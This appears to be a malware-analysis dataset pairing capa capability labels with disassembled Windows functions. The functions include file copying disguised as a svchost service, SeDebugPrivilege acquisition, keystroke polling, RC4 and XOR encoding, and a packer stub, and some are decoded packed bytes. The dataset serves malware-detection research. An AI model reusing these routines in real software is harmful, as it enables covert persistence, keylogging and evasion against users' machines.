joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10004f40
Capabilities:
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push esi
push edi
jne 0x100050b4
push 0x37a
push str.Wpkdtw__nmobyubFxd
call fcn.10004b80
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [esp + 0x220]
add esp, 0xc
push 0x104
push 0x1000fed8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 8]
stosw word es:[edi], ax
push 0x104
push ecx
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000fed8
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100050b4
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.100059c0
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
call fcn.10003e70
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x10c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push eax
call fcn.10003f00
add esp, 4
call fcn.100041d0
call fcn.100043d0
push 0x1000
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
push 0x1000fed8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__UjfvTRigxuquib_bqe
call fcn.10004950
add esp, 4
call fcn.10004050
call fcn.10003f90
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret 0xc

Function at 0x10005590
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x1000c268
test eax, eax
jbe 0x100055d4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x100055b4
pop esi
pop ebp
mov ecx, ebx
call fcn.10003270
pop edi
pop ebx
ret
Function at 0x100059c0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x104
ret

Function at 0x10005ab0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x10005b3a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005b40
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x10005b18
mov ebx, dword [esp + 0x1c]
jmp 0x10005b44
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x458bac
Capabilities:
Encode data using xor

Disassembly:
invalid
push ss
push eax
push esi
dec ebx
add dword [ebp + 0x1ba6e7b6], edi
mov edx, 0x4b32dd9a
out 0xa6, eax
sbb edi, dword [edx + 0x4b32dd9a]
scasd eax, dword es:[edi]
and al, 0x6d
and byte [esi], dl
push ds
loopne 0x458c29
invalid
sbb dh, dl
xchg dword [edi - 0x30], edx
mov ebp, 0xe04ed49
push ss
and byte [0x99e8941d], 0x73
push ss
mov al, byte [0x36478c9b]
cli
mov dh, 0x87
out dx, al
inc edi
xchg ebp, eax
rcl dword [edx], 0xfb
mov esi, 0x38410747
and byte [eax + 0x23c2b7c6], cl
push ebp
aaa
jg 0x458ba6
daa
popal
cwde
cli
je 0x458bfe
jb 0x458bb3
pop es
mov dh, 0xc9
shl dword [edi + 0x2f], cl
push esi
sub dword [edi], ebx
or dl, dh
rcl ecx, 0xd7
or al, 0x25
lds ebp, [ebx]
int1
pop es
cli
push ss
xchg byte [edx - 0x53], dh
jb 0x458bd8
xor dword [esi], esp
mov ch, 0xc4
adc bh, byte [edx]
test al, 0x4b
fisttp dword [edx]
mov fs, word [esi - 0xd]
cld
mov byte [0xe3e84e31], al
adc edx, 0xffffffd4
in al, dx
invalid
Function at 0x4aecbc
Capabilities:
Encode data using xor

Disassembly:
adc esi, dword [edi - 0x65eaf6af]
ret
jo 0x4aec5d
invalid

Function at 0x4b096c
Capabilities:
Encode data using xor

Disassembly:
push ds
enter 0xffffffffffffb043, 0xffffffffffffffac
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, 0x815e2a7b
inc edx
int1
xchg ebx, eax
iretd
jg 0x4b09e2
mov bh, 0x8e
popfd
stosd dword es:[edi], eax
bound ebx, qword [esi + 0x10]
dec ecx
jge 0x4b0967
cli
mov ecx, 0x5062438e
cmc
push ss
rol byte [0xe8fac6c2], cl
add eax, 0xe8fac6c2
jmp 0x4b09a0
push 0xffffffffffffffc5
jae 0x4b09f5
loopne 0x4b0947
popal
out 0x15, al
and eax, 0x132e8631
cwde
mov eax, dword [0xdc65f7ea]
invalid
sal dword [ecx - 0x7e], 0xc5
adc dword [ecx], ebp
test eax, 0x4ad49476
jnp 0x4b0a30
mov byte [0xc750159], al
adc esi, dword [ebx]
sbb al, 0xd6
fld dword [esi]
mov bh, 0x3e
ja 0x4b09ca
jmp dword [ecx + 0x108178b7]
jecxz 0x4b097c
invalid
xor dword [edx - 0x15cb2ccc], edi
invalid
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x767b02b3
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x433060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4b7865a9
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x1000aef0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [0x10086280]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov ecx, dword [0x10087754]
mov eax, dword [0x10087750]
mov edx, ecx
add edx, 0xb6bb9414
sub edx, 1
sub edx, 0xb6bb9414
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x15], al
mov dword [ebp - 0x1c], 0x17aa7352
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
sub eax, 0xa771fbda
je 0x1000b048
jmp 0x1000af64
mov eax, dword [ebp - 0x28]
sub eax, 0x1126209d
je 0x1000b054
jmp 0x1000af77
mov eax, dword [ebp - 0x28]
sub eax, 0x17aa7352
je 0x1000afc8
jmp 0x1000af8a
mov eax, dword [ebp - 0x28]
sub eax, 0x2c7ad1f8
je 0x1000b0b6
jmp 0x1000af9d
mov eax, dword [ebp - 0x28]
sub eax, 0x5eed2f02
je 0x1000afee
jmp 0x1000afb0
mov eax, dword [ebp - 0x28]
sub eax, 0x7cbcbb82
je 0x1000b0a5
jmp 0x1000afc3
jmp 0x1000b0bd
mov al, byte [ebp - 0x16]
mov cl, byte [ebp - 0x15]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c7ad1f8
mov ecx, 0x5eed2f02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x1000b0bd
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
push eax
mov eax, esp
mov dword [ebp - 0x10], eax
mov eax, dword [0x10087754]
mov ecx, dword [0x10087750]
mov edx, eax
sub edx, 0xa328c9de
sub edx, 1
add edx, 0xa328c9de
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2c7ad1f8
mov ecx, 0xa771fbda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1c], eax
jmp 0x1000b0bd
mov dword [ebp - 0x1c], 0x1126209d
jmp 0x1000b0bd
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov dword [eax], edx
mov eax, dword [ebp - 0x10]
mov dword [eax], ecx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x10]
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
mov ecx, dword [edx]
mov edi, dword [esi]
not byte [edi]
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
add byte [edi], 0x87
sub byte [edi], 0x35
pop eax
push eax
mov eax, eax
xor eax, 0x85
nop
imul byte [edi]
inc edi
loop 0x1000b078
mov dword [ebp - 0x1c], 0x7cbcbb82
jmp 0x1000b0bd
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.10026a30
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret
mov dword [ebp - 0x1c], 0x5eed2f02
jmp 0x1000af4e
Function at 0x1000dba0
Capabilities:
Allocate or change rwx memory
Create process on windows
Encode data using base64
Encrypt data using chaskey
Encrypt data using speck
Execute anti-debugging instructions
Execute shellcode via indirect call
Hash data using murmur3
Hide graphical window
Parse credit card information
Parse pe header
Resume thread

Disassembly:
jmp 0x1000dd82
push ebp
sbb ebp, edx
neg bp
mov ebp, esp
sub eax, 0x9c32ddb8
cmovl ax, bx
push ebx
bt eax, 0x9e
btc ax, bp
clc
push edi
push esi
not ax
cmc
shld ax, bx, 0x1f
sub esp, 0x1f4
mov eax, dword [0x10086280]
cmc
xor eax, ebp
cmp dx, 0x553c
cmp edi, edx
test ecx, edi
mov dword [ebp - 0x10], eax
or ax, bp
mov dword [ebp - 0x1fc], 0x75a0903a

Function at 0x1002ba4a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1002ba89
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002ba89
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002ba89
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1002ba89
cmp dword [ecx + 0x74], 0xe
jbe 0x1002ba89
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1002e414
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1002e4b1
push ebx
push esi
call fcn.1002e3dd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1002e371
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1002e45e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002e4b0
push edi
push eax
call fcn.1002cd12
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1002e47e
call fcn.1002cd60
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1002e4af
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1002e371
add esp, 0x20
test eax, eax
jne 0x1002e49d
push edi
call fcn.1002cd60
jmp 0x1002e4a5
push ebx
call fcn.1002cd60
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1002e71e
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10036530
push 0x10036528
push str.FlsAlloc
push 0x1f
call fcn.1002e63a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002e752
push dword [ebp + 8]
mov ecx, esi
call dword [0x10034150]
call esi
jmp 0x1002e758
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1002e79c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10036540
push 0x10036538
push str.FlsGetValue
push 0x21
call fcn.1002e63a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002e7d3
push dword [ebp + 8]
mov ecx, esi
call dword [0x10034150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002e7db
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10036548
push 0x10036540
push str.FlsSetValue
push 0x22
call fcn.1002e63a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002e815
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10034150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10033d20
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10033d4d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10033d4d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4235f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 8
call fcn.0043d086
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0x10
call fcn.0043d086
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0x10
call fcn.0043d086
add esp, 4
mov dword [ebp - 0x14], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
push 0
mov ebx, 0x441570
call fcn.0043d092
add esp, 4
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
je 0x4236a9
mov eax, 0
jmp 0x4237b8
cmp dword [ebp + 0xc], 0
jne 0x4236c5
mov eax, 0x37
call fcn.0043d098
mov dword [ebp - 4], eax
jmp 0x4236df
push dword [ebp + 8]
push 0
push 0x1f0fff
mov eax, 4
call fcn.0043d098
mov dword [ebp - 4], eax
cmp dword [ebp + 0x14], 0
jne 0x423707
mov eax, str.SeDebugPrivilege
push eax
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
test ebx, ebx
je 0x423701
push ebx
call fcn.0043d08c
add esp, 4
pop eax
mov ebx, dword [ebp + 0x10]
mov dword [ebx], eax
lea eax, [ebp - 8]
push eax
push 0x28
push dword [ebp - 4]
mov eax, 0x38
call fcn.0043d098
push dword [ebp - 0xc]
mov ebx, dword [ebp + 0x10]
push dword [ebx]
push 0x525be8
mov eax, 0x39
call fcn.0043d098
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 1
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0xc]
add ebx, 4
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x1c]
mov eax, dword [ebx]
mov ebx, dword [ebp - 0x18]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebx], 2
mov eax, 0
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x14]
push 0x1c
push dword [ebp - 0x10]
push 0
push dword [ebp - 8]
mov eax, 0x3a
call fcn.0043d098
jmp 0x4237b8
push eax
mov ebx, dword [ebp - 0xc]
push ebx
call fcn.0043d08c
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0043d08c
add esp, 4
mov ebx, dword [ebp - 0x14]
push ebx
call fcn.0043d08c
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x44a640
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x51b3bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0050d3ef
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x44a6c2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0050a06b
mov eax, dword [eax]
push 0x607c0c
push eax
call fcn.004f153b
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0050d67a
test bl, bl
je 0x44a6c2
push 0x607c0c
lea ecx, [esp + 0xc]
call fcn.0050da56
push 0x607c18
lea ecx, [esp + 0xc]
call fcn.0050da56
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x44a6fe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0050d67a
jmp 0x44a7c9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x44a782
lea edx, [esp + 0x7c]
push 0x607c14
push edx
call fcn.004f153b
add esp, 8
test eax, eax
je 0x44a782
lea eax, [esp + 0x7c]
push 0x607c10
push eax
call fcn.004f153b
add esp, 8
test eax, eax
je 0x44a782
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x44a712
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0050d67a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x44ba50
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x44bab2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x44bac0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x51b4fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x618f58]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x44bbf8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x44bb26
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0050d67a
xor eax, eax
jmp 0x44bc6f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0050d803
push esi
lea ecx, [esp + 0xc]
call fcn.0050da92
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x44bc4d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocStringLen
call fcn.0044ba50
test eax, eax
jne 0x44bc4d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocStringLen
mov ecx, edi
call fcn.0044ba50
test eax, eax
jne 0x44bc4d
lea eax, [esp + 0x14]
push 0x607c38
push eax
call fcn.004f2877
mov esi, eax
add esp, 8
test esi, esi
jne 0x44bc2c
lea ecx, [esp + 0x14]
push 0x607c34
push ecx
call fcn.004f26b0
mov esi, eax
add esp, 8
test esi, esi
jne 0x44bc2c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x44bc2f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0050d7b3
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x44bb3e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0050d67a
xor eax, eax
jmp 0x44bc6f
mov byte [esi], 0
push 0x607c30
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0050d67a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x4643d0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x46443e
cmp si, 0x69
ja 0x46443e
add esi, 0xffd0
cmp si, 0x11
je 0x46440e
push 0x11
call edi
test ax, ax
jge 0x46440e
or esi, 0x2000
cmp si, 0x10
je 0x464423
push 0x10
call edi
test ax, ax
jge 0x464423
or esi, 0x4000
cmp si, 0x12
je 0x464438
push 0x12
call edi
test ax, ax
jge 0x464438
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x46444b
mov esi, 0xbd
jmp 0x4643ff
cmp si, 0x6e
jne 0x464458
mov esi, 0xbe
jmp 0x4643ff
cmp si, 0x6f
jne 0x4643f9
mov esi, 0xbf
jmp 0x4643ff

Function at 0x465d80
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x628128]
xor edx, edx
cmp eax, edx
jne 0x465da6
xor eax, eax
mov byte [eax + 0x628028], al
inc eax
cmp eax, 0x100
jl 0x465d8e
mov dword [0x628128], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x628028
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x465e37
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x465e0a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x465dd8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x465e40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x465e93
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x465e7a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
